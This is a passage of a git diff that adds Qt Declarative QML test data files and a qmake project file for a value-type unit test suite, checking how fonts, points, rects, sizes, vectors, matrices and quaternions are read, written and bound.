+ italicProperty = true;
+
+ if (font.italic != true) return;
+ if (font.bold != false) return;
+
+ // Test bold binding was overridden
+ boldProperty = true;
+ if (font.italic != true) return;
+ if (font.bold != false) return;
+
+ boldProperty2 = true;
+ if (font.italic != true) return;
+ if (font.bold != true) return;
+
+ test = true;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.4.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.4.qml
new file mode 100644
index 00000000..f28584f4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.4.qml
@@ -0,0 +1,27 @@
+import Test 1.0
+import QtQuick 1.0
+
+BindingsSpliceCorrectlyType4 {
+ property bool test: false
+
+ property int dataProperty2: 8
+
+ point.x: dataProperty2
+
+ Component.onCompleted: {
+ if (point.x != 8) return;
+ if (point.y != 4) return;
+
+ dataProperty = 9;
+
+ if (point.x != 8) return;
+ if (point.y != 4) return;
+
+ dataProperty2 = 13;
+
+ if (point.x != 13) return;
+ if (point.y != 4) return;
+
+ test = true;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.5.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.5.qml
new file mode 100644
index 00000000..1214c839
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/bindingsSpliceCorrectly.5.qml
@@ -0,0 +1,27 @@
+import Test 1.0
+import QtQuick 1.0
+
+BindingsSpliceCorrectlyType5 {
+ property bool test: false
+
+ property int dataProperty2: 8
+
+ point: Qt.point(dataProperty2, dataProperty2);
+
+ Component.onCompleted: {
+ if (point.x != 8) return;
+ if (point.y != 8) return;
+
+ dataProperty = 9;
+
+ if (point.x != 8) return;
+ if (point.y != 8) return;
+
+ dataProperty2 = 13;
+
+ if (point.x != 13) return;
+ if (point.y != 13) return;
+
+ test = true;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.1.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.1.qml
new file mode 100644
index 00000000..e2e69627
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.1.qml
@@ -0,0 +1,42 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+
+ width: 800
+ height: 600
+
+ property alias font: myText.font
+
+ property int myPixelSize: 12
+ property int myPixelSize2: 24
+
+ Text {
+ id: other
+ font.pixelSize: 6
+ }
+
+ Text {
+ id: myText
+
+ text: "Hello world!"
+ font.pixelSize: myPixelSize
+ }
+
+ states: State {
+ name: "Swapped"
+ PropertyChanges {
+ target: myText
+ font: other.font
+ }
+ }
+
+ function toggle() {
+ if (root.state == "") root.state = "Swapped"; else root.state = "";
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { if (root.state == "") root.state = "Swapped"; else root.state = "";}
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.2.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.2.qml
new file mode 100644
index 00000000..0e09ff95
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.2.qml
@@ -0,0 +1,42 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+
+ width: 800
+ height: 600
+
+ property alias font: myText.font
+
+ property int myPixelSize: 12
+ property int myPixelSize2: 24
+
+ Text {
+ id: other
+ font.pixelSize: 6
+ }
+
+ Text {
+ id: myText
+
+ text: "Hello world!"
+ font: other.font
+ }
+
+ states: State {
+ name: "Swapped"
+ PropertyChanges {
+ target: myText
+ font.pixelSize: myPixelSize
+ }
+ }
+
+ function toggle() {
+ if (root.state == "") root.state = "Swapped"; else root.state = "";
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { if (root.state == "") root.state = "Swapped"; else root.state = "";}
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.3.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.3.qml
new file mode 100644
index 00000000..1f6646ea
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/conflicting.3.qml
@@ -0,0 +1,42 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+
+ width: 800
+ height: 600
+
+ property alias font: myText.font
+
+ property int myPixelSize: 12
+ property int myPixelSize2: 24
+
+ Text {
+ id: other
+ font.pixelSize: 6
+ }
+
+ Text {
+ id: myText
+
+ text: "Hello world!"
+ font.pixelSize: myPixelSize
+ }
+
+ states: State {
+ name: "Swapped"
+ PropertyChanges {
+ target: myText
+ font.pixelSize: myPixelSize2
+ }
+ }
+
+ function toggle() {
+ if (root.state == "") root.state = "Swapped"; else root.state = "";
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { if (root.state == "") root.state = "Swapped"; else root.state = "";}
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/deletedObject.js b/tests/auto/declarative/qdeclarativevaluetypes/data/deletedObject.js
new file mode 100644
index 00000000..af298ffb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/deletedObject.js
@@ -0,0 +1,13 @@
+var savedReference;
+
+function startup()
+{
+ savedReference = object.rect;
+ console.log("Test: " + savedReference.x);
+}
+
+function afterDelete()
+{
+ console.log("Test: " + savedReference.x);
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/deletedObject.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/deletedObject.qml
new file mode 100644
index 00000000..391cabaf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/deletedObject.qml
@@ -0,0 +1,11 @@
+import Test 1.0
+import QtQuick 1.0
+import "deletedObject.js" as JS
+
+MyTypeObject {
+ property variant object
+
+ object: MyTypeObject {}
+ Component.onCompleted: JS.startup()
+ onRunScript: JS.afterDelete()
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/enums.1.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/enums.1.qml
new file mode 100644
index 00000000..cb01a806
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/enums.1.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ font.capitalization: "AllUppercase"
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/enums.2.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/enums.2.qml
new file mode 100644
index 00000000..93f1ed59
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/enums.2.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ font.capitalization: if (1) "AllUppercase"
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/enums.3.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/enums.3.qml
new file mode 100644
index 00000000..082aed1d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/enums.3.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+import QtQuick 1.0
+
+MyTypeObject {
+ font.capitalization: Font.AllUppercase
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/enums.4.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/enums.4.qml
new file mode 100644
index 00000000..e5d9ab2b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/enums.4.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+import QtQuick 1.0 as MyQt
+
+MyTypeObject {
+ font.capitalization: MyQt.Font.AllUppercase
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/enums.5.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/enums.5.qml
new file mode 100644
index 00000000..8ec508c9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/enums.5.qml
@@ -0,0 +1,10 @@
+import Test 1.0
+import QtQuick 1.0 as MyQt
+
+MyTypeObject {
+ MyQt.Component.onCompleted: {
+ font.capitalization = MyQt.Font.AllUppercase
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/font_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/font_read.qml
new file mode 100644
index 00000000..d73bb132
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/font_read.qml
@@ -0,0 +1,18 @@
+import Test 1.0
+
+MyTypeObject {
+ property string f_family: font.family
+ property bool f_bold: font.bold
+ property int f_weight: font.weight
+ property bool f_italic: font.italic
+ property bool f_underline: font.underline
+ property bool f_overline: font.overline
+ property bool f_strikeout: font.strikeout
+ property real f_pointSize: font.pointSize
+ property int f_pixelSize: font.pixelSize
+ property int f_capitalization: font.capitalization
+ property real f_letterSpacing: font.letterSpacing
+ property real f_wordSpacing: font.wordSpacing;
+ property variant copy: font
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.2.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.2.qml
new file mode 100644
index 00000000..b559389e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.2.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ font.pixelSize: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.3.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.3.qml
new file mode 100644
index 00000000..913ac507
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.3.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ font.pixelSize: 10
+ font.pointSize: 19
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.4.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.4.qml
new file mode 100644
index 00000000..2ec69d72
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.4.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ font.pointSize: 19
+ font.pixelSize: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.5.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.5.qml
new file mode 100644
index 00000000..2fdfddb2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.5.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import Test 1.0
+
+Item {
+ MyTypeObject {
+ objectName: "object1"
+ font.pixelSize: 19
+ }
+ MyTypeObject {
+ objectName: "object2"
+ font.pointSize: 14
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.qml
new file mode 100644
index 00000000..ff4d0a10
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/font_write.qml
@@ -0,0 +1,16 @@
+import Test 1.0
+
+MyTypeObject {
+ font.family: if(1) "Helvetica"
+ font.bold: if(1) false
+ font.weight: "Normal"
+ font.italic: if(1) false
+ font.underline: if(1) false
+ font.overline: if(1) false
+ font.strikeout: if(1) false
+ font.pointSize: if(1) 15
+ font.capitalization: "AllLowercase"
+ font.letterSpacing: if(1) 9.7
+ font.wordSpacing: if(1) 11.2
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_read.qml
new file mode 100644
index 00000000..6c4a6825
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_read.qml
@@ -0,0 +1,22 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_m11: matrix.m11
+ property real v_m12: matrix.m12
+ property real v_m13: matrix.m13
+ property real v_m14: matrix.m14
+ property real v_m21: matrix.m21
+ property real v_m22: matrix.m22
+ property real v_m23: matrix.m23
+ property real v_m24: matrix.m24
+ property real v_m31: matrix.m31
+ property real v_m32: matrix.m32
+ property real v_m33: matrix.m33
+ property real v_m34: matrix.m34
+ property real v_m41: matrix.m41
+ property real v_m42: matrix.m42
+ property real v_m43: matrix.m43
+ property real v_m44: matrix.m44
+ property variant copy: matrix
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_write.qml
new file mode 100644
index 00000000..2a9f154d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_write.qml
@@ -0,0 +1,21 @@
+import Test 1.0
+
+MyTypeObject {
+ matrix.m11: if (true) 11
+ matrix.m12: if (true) 12
+ matrix.m13: if (true) 13
+ matrix.m14: if (true) 14
+ matrix.m21: if (true) 21
+ matrix.m22: if (true) 22
+ matrix.m23: if (true) 23
+ matrix.m24: if (true) 24
+ matrix.m31: if (true) 31
+ matrix.m32: if (true) 32
+ matrix.m33: if (true) 33
+ matrix.m34: if (true) 34
+ matrix.m41: if (true) 41
+ matrix.m42: if (true) 42
+ matrix.m43: if (true) 43
+ matrix.m44: if (true) 44
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/point_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/point_read.qml
new file mode 100644
index 00000000..4bb6c538
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/point_read.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ property int p_x: point.x
+ property int p_y: point.y
+ property variant copy: point
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/point_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/point_write.qml
new file mode 100644
index 00000000..063525a6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/point_write.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ point.x: if (true) 11
+ point.y: if (true) 12
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/pointf_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/pointf_read.qml
new file mode 100644
index 00000000..0eab6daa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/pointf_read.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ property real p_x: pointf.x
+ property real p_y: pointf.y
+ property variant copy: pointf
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/pointf_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/pointf_write.qml
new file mode 100644
index 00000000..9ee3fc1b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/pointf_write.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ pointf.x: if (true) 6.8
+ pointf.y: if (true) 9.3
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_read.qml
new file mode 100644
index 00000000..d1a21dc9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_read.qml
@@ -0,0 +1,10 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_scalar: quaternion.scalar
+ property real v_x: quaternion.x
+ property real v_y: quaternion.y
+ property real v_z: quaternion.z
+ property variant copy: quaternion
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_write.qml
new file mode 100644
index 00000000..0c3e5afd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_write.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ quaternion.scalar: if (true) 88.5
+ quaternion.x: if (true) -0.3
+ quaternion.y: if (true) -12.9
+ quaternion.z: if (true) 907.4
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/rect_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/rect_read.qml
new file mode 100644
index 00000000..c3b37a70
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/rect_read.qml
@@ -0,0 +1,10 @@
+import Test 1.0
+
+MyTypeObject {
+ property int r_x: rect.x
+ property int r_y: rect.y
+ property int r_width: rect.width
+ property int r_height: rect.height
+ property variant copy: rect
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/rect_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/rect_write.qml
new file mode 100644
index 00000000..8add4530
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/rect_write.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ rect.x: if (true) 1234
+ rect.y: if (true) 7
+ rect.width: if (true) 56
+ rect.height: if (true) 63
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/rectf_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/rectf_read.qml
new file mode 100644
index 00000000..6ff3ce30
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/rectf_read.qml
@@ -0,0 +1,10 @@
+import Test 1.0
+
+MyTypeObject {
+ property real r_x: rectf.x
+ property real r_y: rectf.y
+ property real r_width: rectf.width
+ property real r_height: rectf.height
+ property variant copy: rectf
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/rectf_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/rectf_write.qml
new file mode 100644
index 00000000..1e6ff4ff
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/rectf_write.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ rectf.x: if (true) 70.1
+ rectf.y: if (true) -113.2
+ rectf.width: if (true) 80924.8
+ rectf.height: if (true) 99.2
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/returnValues.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/returnValues.qml
new file mode 100644
index 00000000..f1c18558
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/returnValues.qml
@@ -0,0 +1,17 @@
+import Test 1.0
+import QtQuick 1.0
+
+MyTypeObject {
+ property bool test1: false;
+ property bool test2: false;
+
+ Component.onCompleted: {
+ var a = method();
+
+ test1 = (a.width == 13)
+ test2 = (a.height == 14)
+
+ size = a;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/scriptAccess.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/scriptAccess.qml
new file mode 100644
index 00000000..9299c8b7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/scriptAccess.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+import Test 1.0
+
+MyTypeObject {
+ property int valuePre;
+ property int valuePost;
+
+ Component.onCompleted: { valuePre = rect.x; rect.x = 19; valuePost = rect.x; }
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/scriptVariantCopy.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/scriptVariantCopy.qml
new file mode 100644
index 00000000..42fccfac
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/scriptVariantCopy.qml
@@ -0,0 +1,14 @@
+import Test 1.0
+
+MyTypeObject {
+ property variant object
+ object: MyTypeObject {
+ rect.x: 19
+ rect.y: 33
+ rect.width: 5
+ rect.height: 99
+ }
+
+ onRunScript: rect = object.rect
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/size_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/size_read.qml
new file mode 100644
index 00000000..a49fd9f7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/size_read.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ property int s_width: size.width
+ property int s_height: size.height
+ property variant copy: size
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/size_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/size_write.qml
new file mode 100644
index 00000000..2f9d10e4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/size_write.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ size.width: if (true) 13
+ size.height: if (true) 88
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/sizef_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/sizef_read.qml
new file mode 100644
index 00000000..96cd425f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/sizef_read.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ property real s_width: sizef.width
+ property real s_height: sizef.height
+ property variant copy: sizef
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/sizef_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/sizef_write.qml
new file mode 100644
index 00000000..f16f0bdf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/sizef_write.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ sizef.width: if (true) 44.3
+ sizef.height: if (true) 92.8
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_read.qml
new file mode 100644
index 00000000..7f708a08
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_read.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ property int s_width: sizereadonly.width
+ property int s_height: sizereadonly.height
+ property variant copy: sizereadonly
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror.qml
new file mode 100644
index 00000000..32545570
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ sizereadonly: "13x88"
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror2.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror2.qml
new file mode 100644
index 00000000..656d718b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror2.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ sizereadonly.width: if (true) 13
+ sizereadonly.height: if (true) 88
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror3.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror3.qml
new file mode 100644
index 00000000..b8e3f0d4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror3.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ sizereadonly.width: 13
+ sizereadonly.height: 88
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror4.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror4.qml
new file mode 100644
index 00000000..fc41ecf0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/sizereadonly_writeerror4.qml
@@ -0,0 +1,10 @@
+import Test 1.0
+import QtQuick 1.0
+
+MyTypeObject {
+ Component.onCompleted: {
+ sizereadonly.width = 13;
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/staticAssignment.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/staticAssignment.qml
new file mode 100644
index 00000000..b687f89e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/staticAssignment.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ rect.x: 9
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/valueInterceptors.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/valueInterceptors.qml
new file mode 100644
index 00000000..0897847d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/valueInterceptors.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ property int value: 13;
+
+ MyOffsetValueInterceptor on rect.x {}
+ rect.x: value
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/valueSources.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/valueSources.qml
new file mode 100644
index 00000000..717f3502
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/valueSources.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ MyConstantValueSource on rect.x {}
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/varAssignment.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/varAssignment.qml
new file mode 100644
index 00000000..ff80ff84
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/varAssignment.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+QtObject {
+ property int x;
+ property int y;
+ property int z;
+
+ Component.onCompleted: {
+ var vec3 = Qt.vector3d(1, 2, 3);
+ x = vec3.x;
+ y = vec3.y;
+ z = vec3.z;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/variant_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/variant_read.qml
new file mode 100644
index 00000000..a08f3db9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/variant_read.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ property real s_width: variant.width
+ property real s_height: variant.height
+ property variant copy: variant
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_read.qml
new file mode 100644
index 00000000..fc315f7a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_read.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_x: vector2.x
+ property real v_y: vector2.y
+ property variant copy: vector2
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_write.qml
new file mode 100644
index 00000000..f0e35ff2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_write.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ vector2.x: if (true) -0.3
+ vector2.y: if (true) -12.9
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_read.qml
new file mode 100644
index 00000000..f1e876db
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_read.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_x: vector.x
+ property real v_y: vector.y
+ property real v_z: vector.z
+ property variant copy: vector
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_write.qml
new file mode 100644
index 00000000..9c1bf762
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_write.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ vector.x: if (true) -0.3
+ vector.y: if (true) -12.9
+ vector.z: if (true) 907.4
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_read.qml
new file mode 100644
index 00000000..f9d5d605
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_read.qml
@@ -0,0 +1,10 @@
+import Test 1.0
+
+MyTypeObject {
+ property real v_x: vector4.x
+ property real v_y: vector4.y
+ property real v_z: vector4.z
+ property real v_w: vector4.w
+ property variant copy: vector4
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_write.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_write.qml
new file mode 100644
index 00000000..54869812
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_write.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ vector4.x: if (true) -0.3
+ vector4.y: if (true) -12.9
+ vector4.z: if (true) 907.4
+ vector4.w: if (true) 88.5
+}
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/qdeclarativevaluetypes.pro b/tests/auto/declarative/qdeclarativevaluetypes/qdeclarativevaluetypes.pro
new file mode 100644
index 00000000..59b35268
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/qdeclarativevaluetypes.pro
@@ -0,0 +1,19 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+HEADERS += testtypes.h
+
+SOURCES += tst_qdeclarativevaluetypes.cpp \
+ testtypes.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/testtypes.cpp b/tests/auto/declarative/qdeclarativevaluetypes/testtypes.cpp
new file mode 100644
index 00000000..abe3039c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/testtypes.cpp
@@ -0,0 +1,48 @@
